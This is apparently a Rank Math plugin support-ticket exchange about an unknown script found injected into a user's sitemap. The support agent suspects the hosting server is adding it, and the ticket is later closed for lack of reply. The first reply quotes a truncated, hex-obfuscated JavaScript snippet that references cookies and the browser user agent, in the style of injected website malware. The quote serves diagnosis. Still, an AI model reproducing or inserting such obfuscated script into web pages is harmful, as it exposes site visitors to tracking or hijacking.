Hello,
Thank you for contacting Rank Math and sorry for any inconvenience that might have been caused due to that.
You are having inserted in your sitemap an script:
<script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e...........();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
Even with just the default theme and Rank Math enabled, so it might come from the hosting. My recommendation would be checking with your hosting support if something in the server is adding that script.
Looking forward to helping you. Thank you.
Hello,
Since we did not hear back from you for 15 days, we are assuming that you found the solution. We are closing this support ticket.
If you still need assistance or any other help, please feel free to open a new support ticket, and we will be more than happy to assist.
Thank you.